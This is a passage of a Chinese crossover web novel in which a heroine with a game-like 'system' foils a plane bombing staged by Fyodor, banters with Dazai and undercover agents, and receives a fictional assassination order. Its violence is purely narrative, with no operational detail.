安室透被她盯得实在受不了，表情无奈：“一开始就没想着你能一起走，机票是临时订的，我和你的座位都不相邻。”
“你对FBI有什么看法？”
泉飞鸟还在惦记着这件事，她主要是想知道太宰治那句“单细胞生物的直觉”到底是对是错。
“FBI？”
几乎是一听到这个词，安室透就下意识皱起眉头，语言里满是轻蔑和不屑：“一群乌合之众而已，他们怎么配和我们为敌？”
……他这极度厌恶的反应完全不像是演的，暂时可以排除一个。
泉飞鸟很快坐到了自己的座位上安静等待飞机起飞，波本和她的座位距离很远，中间隔了好几排。
她旁边的座位是空的，一直到飞机快要起飞才有人坐下。
“夜安，女士。”
现在还没有完全入秋，温度并不冷，但来者还是戴着雪白的毛绒毡帽，甚至披着带有毛领的披风。
“在这个平静的夜晚与您相逢，我深感荣幸。”
纤弱苍白的病态青年微笑着，弯腰示意后在旁边的座位上坐下，黑色的
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发丝微微晃动，说话的语调带着奇异的节奏感。
他手里捧着一个长条状的物体，用厚厚的布料包裹着，看不出来是什么物件。
“你好你好。”
泉飞鸟难得有些拘谨地打了个招呼。
她主打一个伸手不打笑脸人，这种非常有礼貌有风度的人实在没辙：“你也是去欧洲的吗，能问一下你手里这个是什么吗？实在有点好奇。”
黑发青年笑了笑，很好脾气地点点头，开始解开物体上缠绕的布料。
“我是一名来自俄罗斯的学者，爱好是收集古董，这是我刚刚从某个拍卖会上得到的珍品。”
随着布料的解开，展现在面前的是一把闪闪发光的锋利长剑，装饰精美华丽。
很难想象这种武器是如何被允许带上飞机的。
“这把剑来自欧洲，在黑市辗转后到了美国，名为‘索尔兹列乌尼’。您知道的，在这个国家只要付出足够的金钱，就能做到一切。”
泉飞鸟对这种古董兴趣不大。
她只打算随便寒暄几句结束这个话题，耳边突然传来了悦耳的系统提示音。
【叮咚！宿主任务“废弃研究所的哀嚎”任务进度已经达到50%！1000经验值奖励已发放！】
【宿主已升级到lv11，正式脱离新手期！新功能已开启！希望帮助您在接下来的旅程中再接再厉！】
居然升级了？
泉飞鸟有些惊讶，迅速点开查看。
之前任务一直卡在0%一动不动，她还以为任务奖励要拿不到了，结果居然一下子完成了。
开放的新功能有两个，一个是能储存物件的个人小空间背包，放了两个像药瓶一样的东西，具体是什么泉飞鸟没来得及点开看。
另外就是很实用的新功能小地图，开启之后就能在地图上给人标注不同颜色的圆点，绿色代表友善，黄色表示警惕，红色则是纯粹敌意。
“您乘坐的航班即将起飞，请各位乘客做好准备。”
伴随着广播的播报音，飞机开始在跑道上滑行，缓缓上升。
“飞机起飞了呢。”
坐在旁边的黑发青年转头看向泉飞鸟，声音轻柔。
泉飞鸟开启了小地图功能，页面卡顿了一下。
页面刷新，整个屏幕都是密密麻麻的红点，偶尔夹杂着绿和黄，象征着基本上一飞机的人都对她有敌意。
泉飞鸟扭头看向旁边的人，那双紫红色的眼睛正专注地注视着她，看起来很有礼貌，也很友好。
“您有兴趣的话，要试试看触碰一下这把剑吗？”
……然而代表他的圆点是刺目的红色。
14.第十四章
泉飞鸟日记：我这一生行善积德，生不逢时惨遭变故，如有哪位好心人能资助我一把加特林，等我重返巅峰，必定重金酬谢。
只可惜在高空注定没有好心人，只有好心的俄罗斯人。
黑发青年脸上友好的笑容和小地图上的红点相互呼应，泉飞鸟忍不住叹气。
“感谢你的慷慨，好心的俄罗斯学者。”
她伸手握住了那把长剑的剑柄，系统迅速弹出一条提醒。
【您已获得特殊关键道具，圣剑·索尔兹列乌尼，请问宿主是否要直接提交或标记位置？】
泉飞鸟放弃直接提交，选择标记位置。
她倒是很想明抢啦，但这是在高空中飞行完全跑不掉，直接在众目睽睽之下让这把圣剑消失，绝对会被围殴的吧？
“真是了不起的古董。”
泉飞鸟感叹道：“过了这么多年，刀刃仍然如此锋利，只可惜我对这方面不了解，不懂背后的价值。”
“您当真不懂这把武器的价值吗？”
黑发青年安静地注视着她，紫红色的眼睛里闪过狂热：“我的名字是费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基，初次见面，不知名的女士。”
费奥多尔的指间按在自己胸口，声音仿佛咏叹调：“您在接触这把剑的同时，是否窥视到这个世界过去的阴影呢？”
“事实上我碰到这把剑，什么都没感觉到呢。”
泉飞鸟露出假笑，她顺手掏出自己的护照展示给费奥多尔：“你好，费奥多尔先生，我是川下，现在知道我名字了吧？”
“川下·艾斯特，曾用名川下美奈子，父亲是知名富商，在情人母亲死亡后独居，曾就读于神奈川女子中学，肄业后沉迷夜店。”
他的声音里带着一丝俏皮：“您在此之前并没有展现出任何异于他人的才能，又怎么能在白天的爆炸中使用了奇异的能力？”
“你误会了，费尔多尔先生，我可不是什么异能力者，只是单纯的运气好而已。”
泉飞鸟在心里呼唤系统。
【系统！你不是说已经改变了吗！这个人怎么知道的？】
她怎么感觉现在全世界都知道她用过特殊能力了？！
【系统正在报错中，请稍后……可以推测得到的结论是，该人物系统在改变您的过去之前，就已经获得过您的资料，因此认知改变没有生效。】
【Bug正在修复中，请等待加载……】
“您真的是那个川下吗？”
费奥多尔又笑了，他其实和太宰治存在着某些相同的特质，一旦露出某种表情，就代表他已经认定了事实：“……看来似乎又有某种存在正在篡改我的意志。”
他用手指点了点额头：“之前在拍卖会的时候我就有所察觉，现实和我的记忆出现了微妙的偏差。”
“异能力？超能力？或者是咒术术式？您是哪一种呢？”
泉飞鸟陷入了沉思：“有没有一种可能，我是个什么都不是的普通人呢？”
……除了系统给她提供的外挂之外，她确实就是个平凡的普通人啊？如果是别人获得了这份力量，说不定能比她做得更好。
“看来您果然是某种超脱于世界规则之外的存在。”
费奥多尔完全忽视了泉飞鸟的郑重声明，他悲悯的表情就表明他根本不相信普通人能做到这种事。
普通人没有超凡的力量，他们诞生到这个充满罪恶的世界本身就是一种惩罚。
离开这个世界，普通人或许能获得真正的救赎，又怎么能承担起净化世界的罪孽？
“那么，您到底是灭世的撒旦，还是……”
费奥多尔没有继续往下说。
“——我希望您能陪我做一个小小的测试，我也诚挚地希望，您有机会能和我一起，审判消除这世界上的所有罪恶。”
费奥多尔很聪明，无论外表是多么谦逊温和，骨子里也透露出傲慢。
说实话，泉飞鸟从一开始根本没想过有人能发现不对劲，但是费奥多尔却轻而易举的做到了，甚至直接来到她面前。
审判世界，不就是把自己放在高高在上的位置居高临下吗？
泉飞鸟环顾四周，周围的人看似都在做自己的事情，却一直向他们所在的方向投来隐晦的目光，眼神直勾勾的。
说来也奇怪，她表示自己并不是异能力者之后，费奥多尔的颜色一下子变了，从无比危险的红色变成了缓和的警惕黄色，连带着周围的一大群人都发生了改变，只留下少数几个红。
看来他是真的很讨厌异能力者了……
泉飞鸟心中暗自思索。
远处的安室透敏锐察觉到这里有不对劲，似乎想站起身过来询问情况，泉飞鸟对他轻轻地摇摇头，示意他稍安勿躁。
“看来您是愿意接受我的请求了。”
“不，你这根本不是请求，其实就是威胁吧。”
泉飞鸟忍不住翻了个白眼：“总感觉如果我不答应的话，你就要弄出一些事来。”
“那么我们现在就开始吧，女士。首先请您前往第一排，查看从左边数第三位的那位男士的座位。”
泉飞鸟站起身往前走，路过安室透的时候还顺便拍了拍他的肩膀。
“有人要搞我们组织，起来干活了。”
虽然费奥多尔是在针对她一个人，但泉飞鸟当然不介意把组织也拉下水，多一个人多一份力嘛。
安室透的表情变了：“是针对飞机的袭击吗？”
泉飞鸟正在顺便检查升级之后多出来的个人空间背包，闻言多看了安室透一眼，若有所思。
……她好像有点明白，刚才太宰那句话了。
这位波本隐约流露出来的担忧，实在不像是一个恶贯满盈的组织成员应该有的。
【恭喜宿主查看个人空间背包功能！】
【您目前拥有的背包格子为10格，每格相同物品最高累计数量为999。】
好的，懂了，囤货属性即将大爆发！
塞爆背包格子，每个
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都999才是真正的暴力美学！
其中两个小格子里已经放好了奖励物品。
【难闻的止血剂×10：据说是来自泰●大陆的特色产品，由某种特殊的虫类酿造而成，可回复20%的生命值。】
【你没逝吧？×5：亲切的问候语，有时候会带来意想不到的效果，持续20秒的时间内，你的攻击力会增加100%。】
【更多精彩商品，请升级到20级之后解锁商城获取。】
好一个吊在驴前面的大萝卜！
短短几秒钟，泉飞鸟和安室透就走到了第一排的那位男士面前。
他看起来还很年轻，对上他们的目光时流露出一丝胆怯，甚至不用等他们开口，他已经迅速站起来，把座位展示给他们看。
飞机上的空间也就这么点大，泉飞鸟几乎没怎么费劲就找到了想要找的东西，从座椅下摸到了一个方方正正的物品，正发出轻微的滴滴声。
“......是定时炸弹。”
安室透都不用打开看就猜出这是什么：“倒计时还有十五分钟。”
“我可以试试看，如果是常规类型的话，几分钟就足够了。”
泉飞鸟忍不住又瞅他一眼：“组织除了装炸弹之外，居然还会拆炸弹？”
“……我随身携带的包里有专门的工具，你帮我去拿过来。”
安室透深吸一口气，手下的动作却很稳：“放心吧，没问题的。”
之前还安安稳稳坐在座位上的费奥多尔，不知道什么时候走到了他们身边，他个子很高，有点轻微的驼背。
他微微弯下腰，垂落的黑发随着他的动作轻轻晃动：“那么，如果这样的炸弹一共有十个呢？”
安室透和泉飞鸟两个人都齐刷刷地看向他，整个机舱的乘客也朝他们这个方向看过来。
除了少数几人露出了惊慌失措的表情，大多数人脸上都带着一种奇异的微笑，是诡异的平静与满足。
“再过十五分钟，不，现在已经是十四分钟了，机舱里的这十枚炸弹就会爆炸，这个机舱里大部分的乘客都是神明忠诚的信徒，他们不会伸出援手。”
“你这家伙……是想让全飞机的人都陪葬吗？”
安室透握紧了拳头，他额头上冒出冷汗。
“怎么会呢？我之前就说了，这只是一个小小的测试而已。”
费奥多尔的目光一直停留在泉飞鸟身上：“您只要作出选择就可以了。”
他偏头看向那个怯懦的年轻人，不急不缓道：“他在不久之前已经确诊了绝症，生命只剩下短短一个月，现在他的心脏连接着十枚炸弹的遥控装置。”
“当然，您可以随时退出这个测试，我已经提前在飞机上准备了逃生的降落伞。”
“……您是愿意让所有人，甚至是对您可能有威胁的人步向死亡，还是愿意牺牲一个身患绝症的人，来换取更多人的存活？”
“接下来就请您给出选择吧。”
费奥多尔近乎虔诚的感叹。
15.第十五章
电车难题，而且是必死局。
安室透，或者说是降谷零，他瞥了一眼面无表情的泉飞鸟，在心中默念这个词汇。
说实话，他也不确定对方到底会做出什么选择，不管怎么样都难以两全。
从理智上来说，应该牺牲已经命不久矣的那个人，但从情感上来说，他不愿意放弃任何一个国家的公民，会竭尽全力想办法拯救他。
但现在是在美国。
他也不是那个前途光明坦荡，一腔热血的警察，而是某个跨国犯罪组织的代号成员。
有些事注定已经改变，并且再也回不去了。
安室透忽然看到泉飞鸟在笑。
不是那种纠结痛苦的表情，而是轻松愉悦，一切尽在不言中的微笑，她似乎已经有了想法。
安室透忽然生出了一点，连他自己都不愿意相信的，堪称渺茫的希望。
＊
泉飞鸟面无表情地给了费奥多尔一拳头。
她完全没有收敛力道，病弱美人那张苍白的脸上，嘴角溢出一点血迹。
“有一说一，我理解并且尊重你的想法，这个世界上确实有太多无法消除的阴暗面，你想要改变世界并且为之付出努力，值得肯定。”
毕竟比起大多数的普通人，愿意改变现状已经是一种无上的勇气。
费奥多尔毫不在意地伸手抹了抹嘴角的血迹，在苍白的皮肤上留下红色的痕迹，他目光灼灼地看着她：“所以您是愿意和我走上相同的道路吗？”
“不不不我可没这么说，理解可不代表我认可你，这是先给你的利息，重头戏等把正事干完之后再说。”
泉飞鸟晃了晃拳头小声吐槽，她站起身看向这一机舱形形色色的人：“测试就测试了，就不能搞个1v1单挑吗？把这群傻蛋扯进来干什么？”
这群所谓神的信徒，一看就脑子不太好。
费奥多尔安静地注视着她，像是在等待她的答案。
“你给我听好了，费奥多尔。”
泉飞鸟气势汹汹地伸出手指，把每个人指了一遍，脸上露出再自信不过的微笑。
“在A or B的选项里，我可以选择or！”
费奥多尔的眼睛微微瞪大，他几乎是下意识地想啃咬自己的指尖，又强行忍耐。
此时的时间只剩下短短十分钟。
泉飞鸟开口询问站在旁边观察炸弹的安室透：“十分钟够你拆所有的炸弹吗？”
明明是这么危险的时刻，安室透都要被这天真到可爱的问题逗笑了。
“大小姐，你不会以为拆弹就和电影里演的那样，只要随随便便剪断一根线就可以了吧？当然是不够了，这可是十个型号陌生的炸弹啊。”
……然后就被瞪了。
安室透在泉飞鸟的眼神里看到了明晃晃的“没用的男人”几个字，一时间生出了一点心虚和诡异的好胜心。
他是不是应该再提升一下自己的拆弹速度？
“波本，去把舱门打开，我们准备在空中放烟花了！”
泉飞鸟一直开启着小地图，费奥多尔对她的态度改变之后大多数人都变成了黄色，只剩下少数红色。
——不多不少，正好十个。
感谢系统的馈赠。
如果没有新升级的功能，要解决现在的困境就麻烦了。
或者她可以把每个乘客连人带椅子一起扔进战斗空间，确认没有炸弹之后再放出来，毕竟空间里的时间是停止的。
她在心里这么想着，已经眼疾手快地靠近了第一个红点，果然从对方的椅子下扒拉出一枚一模一样的炸弹。
波本……居然非常信任她。
在泉飞鸟开口的瞬间，他就直接冲过去，确认周围几个乘客都系着安全带后，毫不犹豫地开启舱门。
狂风呼啸而来，安室透要不是紧紧抓住旁边的栏杆，已经被卷出飞机了，他几乎被风刮得睁不开眼睛。
“接着！扔出去！”
泉飞鸟直接把装着炸弹的盒子往安室透的方向一扔，转头去找第二个了。
“你还真是……看得起我啊！”
虽然站都不太站得稳，安室透还是可靠地接住了盒子，把炸弹往外扔：“万一这炸弹一碰撞就爆炸怎么办？你这个疯子！”
“没事，我会在你被炸个半死之前把你救下来的！再来！”
泉飞鸟笑的很开心。
她已经问过系统了，背包里的道具药品只需要稀释一下就可以给普通人喝。
虽然称不上包治百病，但是续个命就有时间可以送去医院了！
费奥多尔站在较远的地方，注视着泉飞鸟的背影，紫红色的眼睛里带着别样的情绪。
像是欣喜，又像是狂热。
他焦虑地啃咬着自己的指甲，一直到渗出血也没有停止，他低声念诵着圣经里的内容。
语毕，费奥多尔似乎感受到了什么，转身和不知何时站在台阶上的太宰治对上了视线。
两个人目光交错，很快再次分开，像是看到了什么脏东西。
泉飞鸟和安室透互相配合，两个人一个扔一个接，很快就把隐藏在机舱里的炸弹全部处理完毕。
把最后一个盒子扔下去的时候，已经接近倒计时结束，几秒后就听到外面传来一阵巨大的轰鸣，属于炸弹的热风扑面而来。
整个飞机剧烈颤抖了一下。
离门太近又没有安全带的安室透差点被吹倒，泉飞鸟已经死死攥住他一只手，防止他飞出去。
“没事吧？”
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>为了防止再出意外，泉飞鸟直接抓住安室透的后衣领，像提起一只猫一样把他从门口提溜到里面。
“我没事。”
这辈子还是首次被这样提起来的安室透有种奇妙的感觉，忍不住吐槽：“......倒是你，力气还挺大的。”
看起来柔柔弱弱，其实力能扛鼎。
他们才刚说了两句话，座位在舱门附近的一位乘客突然躁动起来，他嘴里碎碎念着异国的语言，开始扯自己身上的安全带。
“喂！你干什么！”
安室透想去抓住那个人，飞机又是一阵颠簸，那个靠近舱门的人摔倒在地，一路往外滑，只有一只手还抓着舱门边缘。
那个乘客像是忽然才觉醒了求生的意志，惊慌失措，大声喊道：“……救救我！救救我！我不想死！”
下一秒他就被移动了位置，重重掉在飞机里的地板上，茫然四顾。
在那个人要松手掉出去的瞬间，泉飞鸟开启战斗空间把人换了位置，只可惜距离太近没调整好，她自己移动到了危险的边缘。
“神！我看见神迹了！”
乘客表情狂热地跪地祈祷，估计是把短暂到达的战斗空间当成了天堂：“她就是神的使者！”
“……”
她就说这群人脑子不好使吧！
离的这么近都不知道拉她一把，就在那瞎叫唤！
泉飞鸟有些艰难地抓住舱门边缘，准备努力集中精神再开一次战斗空间，突然旁边有人伸手，抓住了她的胳膊。
“只是一会儿没见，飞鸟就把自己弄成这么狼狈的样子，果然已经笨的没救了。”
……是不知道什么时候过来的太宰治。
泉飞鸟梗着脖子和他犟嘴：“没有你拉我，我也能上来好吧！”
借着太宰治的手臂，泉飞鸟顺利爬上来，坐在地上深深吸了口气，有种后知后觉的腿软。
好险！！
没有被炸弹炸死，却差点高空坠落而死！
“费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基，这还是第一次面对面见到吧。”
太宰看向费奥多尔，露出危险的微笑：“狡猾的下水道老鼠也会来到高空吗？”
面对面见到俄罗斯人之后，梦境中模糊的部分清晰了不少。
“……太宰君。”
费奥多尔几乎没有太多思考时间，就判断出了面前这人的身份：“原来如此，我明白了。”
他的目光闪烁着兴奋，弯腰行礼。
“女士，希望下次见面时，能有这个荣幸知道您的名字。”
他步伐平稳地走到舱门边。
“——那么，很期待与您的下次重逢。”
他向后仰倒，像一只轻盈的飞鸟一样跌落出去。
16.第十六章
泉飞鸟震惊了。
不是哥们，你就这么水灵灵地跳下去了？
她迅速冲到舱门边缘，手扒着门伸长脖子往下看，这个时候已经完全看不到费奥多尔的背影了。
只有那顶熟悉的雪白毛绒毡帽正晃晃悠悠，飘荡在半空中。
泉飞鸟伸手抓住了毛绒毡帽，系统刷出一条提示音。
【恭喜玩家获得可装备道具！】
【来自永恒雪原的理想（可装备）：洁白里能否拷打出罪恶？装备后可提升50点攻击力。】
好东西啊！
泉飞鸟眼睛亮了，也完全顾不上信仰之跃失去踪迹的费奥多尔，把毛茸茸的毡帽戴到头上。
……轻柔又温暖，但是在室内戴这种东西真的太热了，泉飞鸟逐渐汗流浃背。
转头一看，太宰治和安室透正用诡异的目光盯着她看，尤其是太宰治，仿佛在看一个变态。
“这……不太合适吧。”
安室透确实精通语言的艺术，他说话一向是很委婉的：“您和木间博士之间的关系已经经历过生死的考验，但再怎么坚固的感情也不能受到太多外力的影响，您说是吧？”
泉飞鸟实在舍不得那点攻击力加成，装作没听见。
看什么看？你在游戏里打怪掉落的装备，你难道会嫌它脏吗？
还不是一到手就马上戴上！
太宰治说话就直接多了，语调里带着显而易见的阴阳怪气：“下水道的老鼠总是游荡在污水里，和这种东西接触太久也会变臭的，你说是吧？”
“……”
泉飞鸟的目光从太宰治带着微笑的脸逐渐转移到他的手腕。
因为进入到虚构史学副本的缘故，太宰治身上习惯性缠绕的绷带都没有带进来，她可以看清对方手腕上发白的划痕。
估计是以前自杀的时候留下的伤疤吧。
泉飞鸟忍不住叹了口气，把头上的毡帽重新摘下来，塞进个人空间背包。
她做完这一切后，戳了戳太宰治的手腕。
“喂，等从这里出去之后……给我一点你的绷带，要全新未拆封的那种。”
按照太宰治平时这张嘴的嘲讽程度，攻击力加成估计比毛绒帽还要高，她怎么着也得捞一点！
至于毛绒毡帽……
泉飞鸟有些心虚地转了转眼珠。
其实没有其他原因，真的就是因为戴上太热了而已。
暂时放在空间里，她也能在战斗的时候重新戴上，以后她富有了一定要在身上挂一大堆特殊加成的装备！
旁边的安室透松了一口气，虽然他也不明白，并没有恋爱经历的自己为什么要松一口气。
……大概是因为这两个人也算是日本人吧。
虽然费奥多尔已经离开了飞机，但那把包裹起来的圣剑并没有带走，还是放在座位上。
泉飞鸟左顾右盼，确认旁边没有别人注意到她，偷偷摸摸把剑塞进了自己的个人空间。
虽然道具描述也没写到底要什么时候才能用上，但都送到面前了，她当然就要毫不客气地收下了。
＊
飞机抵达挪威的时候已经是深夜，五个人虽然已经疲惫不堪，但还是很快下飞机离开。
倒也不是因为任务催得紧，他们这几个人身份都算不上光明正大，万一被警方盘问起来会有麻烦，以及……
“——舱门是你开的，就算要赔钱也是你付钱。”
泉飞鸟露出一双死鱼眼，毫不留情把锅甩给安室透，完全忘了是她喊的开门。
挪威的温度和美国根本不是一个级别，其他几个人都换上了厚厚的冬装，只有泉飞鸟仍然穿得单薄清爽，只是脖子上多出一条毛茸茸的雪白围巾。
注：她还是不肯死心放弃那点攻击力，让系统把毛绒毡帽改造成了实用的围巾。
【收入空间的物品道具都已经经过特殊处理，绝对不会有异常物质残留，请宿主放心使用。】
“暂且不说这种紧急情况开舱门是为了保住我们自己的命……”
安室透双手插在风衣的口袋里，表情无语又无奈：“我们又不是什么良民，为什么要赔钱？”
按照组织的风格，不在飞机上装炸弹已经是谢天谢地，而且那是美国起飞的飞机，坏了和他日本人安室透有什么关系？
泉飞鸟恍然大悟：“你好聪明。”
普通市民当多了，她现在对这种不是好人的身份没什么真实的代入感。
“川下小姐，你真的不冷吗？”
大概是已经从安室透那里了解到事情经过的苏格兰态度温和了很多，再也没有之前那种看似温柔，骨子里却冷漠的疏离感。
“如果你冷的话随时和我说，组织安全屋一般都有准备厚衣服。”
黑麦似乎没什么太大的反应，他一直在警惕地注视着四周的动静，忽然开口道：“那个，是认识的人吗？”
“他一直似乎在往我们这边看。”
泉飞鸟顺着他说的方向看过去，正好和拿着报纸坐在街边长椅上的中原中也对上了视线。
这不是中也吗！他居然也这么快来到北欧了！
两人的目光一触即分，不太自然地移开，太宰治在旁边笑出了声。
泉飞鸟别开脸低下头捂住脸一气呵成，中原中也也装作若无其事地拿着报纸离开。
中也！你拿的报纸反了啊！
你的跟踪业务怎么这么不熟练啊！
“可怜的中也，从出生到现在还是第一次伪装自己跟踪吧。”
太宰治在旁边惋惜地小声叹气：“小矮子真的已经很努力了，没想到最后效果这么好笑。”
“……我绝对会把你这话全部转述的。”
泉飞鸟忍不住吐了一句，又转身对着黑麦摇摇头：“那是我认识的人，放心，他不会对组织有什么威胁，就装作不认识他吧。”
正常情况下，敢去招惹中也的估计已经被扬了，如果黑麦实在想不开想要动手，那她也没办法。
“嗯，好。”
一如既往的沉默寡言，黑麦点点头，没有再多说什么。
他像是一只充满野性的黑豹，但性格却出人意料地温顺。
太宰治又意义不明地哼笑了一声。<
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p>这里离研究所还有很长的距离，今晚要在附近的安全屋住上一晚。
一直到他们坐上组织提前安排好的车，泉飞鸟才后知后觉感受到刚才的氛围有点不太对劲。
组织的三个代号成员对她的态度出乎意料地友好，但是对太宰治就是很冷漠疏离的态度，几乎没有单独和他说过话。
泉飞鸟思考了一下，她感觉自己应该不是那种人见人爱的大美女的类型，性格怎么看也不像是个好东西，正常人也不太可能会一见面就觉得她这人不错。
……那么，就是某种互相排斥？
能和身为港口黑手党干部的太宰治气场不合，就只能是正派人物了。
“你们三个里面，是不是有卧底？”
她遵从自己的直觉，耿直地开口询问。
行驶的车子里忽然一片寂静，只听得到车轮碾压在雪地上的声音。
深夜的街道上没有行人，安静到诡异。
“哈哈，卧底？”
第一个开口说话的还是安室透，他的语气里带着三分不屑，三分嘲讽，还有四分可笑：“真是个让人听了就心生厌恶的词啊。”
“如果真的有卧底，想用枪把他的脑袋打开花。”
安室透一开始还只是开玩笑的语气，突然话风一转凌厉起来：“不过要是说我们三个里谁最像卧底，那果然是黑麦吧？”
“平时看起来冷冰冰的，但我可是听说过的，你是靠着女人才进入组织的。”
苏格兰在旁边打了一句配合：“如果连女性的感情都能欺骗，那绝对是人品不佳。”
“我是不是卧底，组织会有判断。”
黑麦没有因为两人的挑衅而产生出什么激烈的情绪波动，语气还是淡淡的：“倒是你，波本。”
“你平时是神秘主义者，却和苏格兰走的很近，你们之间难道没有什么瓜葛？不会你们两个才有问题吧？”
“额……”
泉飞鸟本来也就是随口说说，她还没补充一句她只是开玩笑的，那两个人已经火花四溅地吵起来，空气中都弥漫着硝烟味。
“川下，你和木间博士是新加入组织的，也和我们相处了一段时间。”
那两个人吵着吵着，把目标同时对准了茫然的泉飞鸟。
“你说说看，到底谁更像卧底？”
泉飞鸟左看看，右看看，也没给这两个人留面子，她还是保持着之前和太宰治说起的结论。
“我觉得你们三个都挺像的，真的。”
她想了想就补充了一句：“主要是那种气质就很像。”
原本还在胡扯头花的波本和黑麦都安静了下来。
在接下来的一段车程，谁都没有开口说话。
一直到他们抵达安全屋，所有人同时下车，太宰治才拍了拍泉飞鸟的肩膀，语气沉痛。
“之前我以为你是普通的热血笨蛋，现在发现果然还是低估你了，你比中也会多了。”
“飞鸟，你好会玩弄人心，你上辈子就是这么哄骗我的吗？”
“……啊？”
这个上辈子的梗是过不去了是吧？
17.第十七章
安全屋的壁炉燃起了火，温暖的火光驱散了异国他乡的寒冷。
组织在欧洲这边的活动比美国那边要少，据点也相对寒酸。
说是安全屋，其实连休息的床都没有，只有一张放在壁炉旁的大沙发，他们刚到的时候全都是灰尘。
后续行动要天亮了再继续，所有人都坐在沙发上闭目养神，耳边能听到木柴燃烧的噼啪声。
——以及从厨房里传来的翻箱倒柜的死动静。
泉飞鸟在厨房里嘀嘀咕咕：“鹰嘴豆罐头，不知道什么鱼的罐头，混合酸奶，再加入一点点水果麦片……”
然后是一阵邪恶的“嘿嘿嘿”笑声。
闭着眼睛的安室透眉头狠狠皱了下，但他也没说什么，只是抓紧时间休息恢复精力。
“她肯定是饿了。”
苏格兰忍不住笑了，他睁开眼从沙发上站起身，向厨房走去：“不怕冷的人需要消耗更多的能量，距离吃饭已经过去几个小时，饿了也正常，我去看看她。”
他进厨房之后似乎和泉飞鸟小声说了些什么，随后安静了几分钟，传来灶台点燃的声音。
水被煮开发出咕噜咕噜的声音，很治愈。
安室透逐渐放下了心。
有苏格兰在的话，做出来的东西应该不会太难吃……
——结果下一秒厨房里传来一声巨响，随后弥漫开一股一言难尽的味道。
“……”
客厅里剩下的三个人面面相觑，就连向来对这种事漠不关心的黑麦也难掩震惊。
黑麦也是知道的，苏格兰的厨艺向来很好，连他在旁边也没压住吗？
泉飞鸟端着盘子，昂首挺胸从厨房里走出来，脸上满是骄傲。
苏格兰像是受到了什么严重的打击，苦笑着跟在后面。
“太……木间！”
泉飞鸟超级兴奋，把盘子里的东西在每个人面前展示了一遍：“这是我按照你之前教的食谱，特意做出来的活力清炖鸡排！”
“因为没有整只鸡，所以只能用鸡胸肉替代了，你看看怎么样？”
“为什么会是蓝色的？”
太宰治不可置信地倒退两步：“我引以为傲的活力清炖鸡怎么会是蓝色的！”
泉飞鸟把盘子放在桌上，相当坦诚地回答：“因为我加了藻蓝蛋白粉，怎么样！颜色很有创意吧？”
……才怪，这个又破又旧的安全屋怎么可能会有什么藻蓝蛋白粉，有点食材已经很不错了。
当然是她往里面倒了一点她背包里的止血剂道具啦！要不是要试验一下效果，她都不乐意拿出来呢！
唯一没有料到的就是，止血剂看起来只是普通的液体，结果一倒进锅里就直接爆炸了，直接把锅底炸个洞。
她费了好大的功夫才把剩下的鸡胸肉抢救出来！
“来来来，人人有份，不用抢！大家都尝尝味道，有什么感想记得跟我说！”
泉飞鸟无比热情，把一小份鸡肉分成几块。
她自己就不和他们抢了，毕竟她背包里还有好多呢！
“我，没能阻止她。”
苏格兰非常愧疚：“我早就注意到她手里捏了什么东西，还以为只是普通调料，结果……”
他捂住了脸。
“原来如此，但我总感觉你加的不止这么点。”
太宰治摸了摸下巴，若有所思：“能让锅子爆炸的绝对是毒药吧？”
“呦西！我还没有尝试过用毒药自杀呢！”
他兴致勃勃地夹了一块鸡肉塞到嘴里。
＊
除了太宰治以外的三个人都拒绝品尝。
苏格兰已经飞速冲去厨房，又做了几道新的菜出来。
“以后想要提高厨艺，我可以教你。”
他的声音温柔得快要滴出水来了：“这个东西就不要吃了。”
安室透，组织代号波本，实际身份是日本公安来组织的卧底降谷零，代号苏格兰的绿川光同为公安卧底，同时也是他的发小诸伏景光。
降谷零可以说，他已经认识了诸伏景光这么多年，也是第一次听到他用这种温柔到毛骨悚然的语气说话。
“这个可是很有效果的好东西……”
泉飞鸟话音未落，苏格兰又重复了一遍：“把这个丢掉，可以吗？”
这，是个白切黑。
泉飞鸟小声嘟嘟囔囔。
和太宰治那种看起来不好惹，实际上也不好惹的不一样，苏格兰看起来温温柔柔，绝对是个狠角色！
“这个东西绝对不会有人敢吃吧？”
安室透喝了一口热腾腾的浓汤，指着已经躺在沙发上一动不动挺尸的太宰治，他已经失去意识很久了，脸上带着即将升天的幸福表情。
“木间博士只是吃一口就已经这样了，你真的没想谋杀他吗？”
“你们不识好歹！错过了绝对会后悔的！”
泉飞鸟不忍心浪费，把剩下的鸡肉塞进了自己的背包格子。
她骂骂咧咧地吃了一口苏格兰做的菜，瞬间惊为天人，开始埋头哐哐吃。
只可惜愉快的用餐时间并没有持续多久，泉飞鸟还在喝第二碗汤，安室透的手机就响了。
“琴酒？有何贵干？”
也不知道对面说了什么，只听到安室透很敷衍地“嗯”了几声，把手机塞给泉飞鸟：“琴酒有任务要给你。”
泉飞鸟嘴里还含着汤，说话含含糊糊的：“唔唔？”
“紧急任务，去暗杀一个人。”
琴酒的声音透过手机有些失真：“随便你用什么办法，把事情闹大也无所谓，如果你能完成这个任务的话，组织说不定愿意给你一个代号。”
“琴酒。”
泉飞鸟其实还惦记着之前琴酒炸她的事情，忍不住想嘲讽他一下：“其实我觉得你还是之前挂我电话的时候比较帅。”
“太亲切的男人魅力可是会下降的，还是说你是组织忠诚的狗，对有价值的人就会变得很亲切？”
她其实也没有什么别的坏心思，就是想再听听琴酒暴跳如雷的声音，嘻嘻。
“哼，如果你敢背叛组织的话，自然有人会来杀了你。”
琴酒竟然出乎意料地没有生气，只是打开打火机点燃香烟：“你只要把事做好就行。”
他像是想起了什么好笑的事，冷笑一声：“死在外面的话可没人给你收尸，你好自为之。”
“没想到你这么关心我。”
泉飞鸟非常感动：“之前波本他们说你对我寄予厚望，我还以为是在开玩笑，没想到你居然真的这么认可我的天赋，我好感动……”
电话被挂断了。
泉飞鸟脸上夸张的表
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情瞬间收敛，她把手机还给安室透，开始看传过来的任务资料。
这次要暗杀的对象是一名英国议员，最近正好在挪威度假。
他似乎和医药和军火方面的关联不多，不像是和组织有过什么纠葛的人，但是他在某些方面比较激进，极力反对给异能力者提供特殊待遇和高福利。
泉飞鸟若有所思。
他们这几个人还就在安全屋逗留一两天，苏格兰和波本两个人上街采购食物，黑麦这声称要出去散散心，也离开了安全屋。
现在屋子里就剩下了她和仍然昏迷不醒的太宰治。
“飞鸟，有什么感想吗？”
某位睡美男不知道什么时候已经醒了，坐在沙发上用手撑着下巴，笑吟吟地问她。
“其实也还好。”
泉飞鸟把资料放下，伸了个长长的懒腰，虽然一晚上都没有睡，她还是神采奕奕。
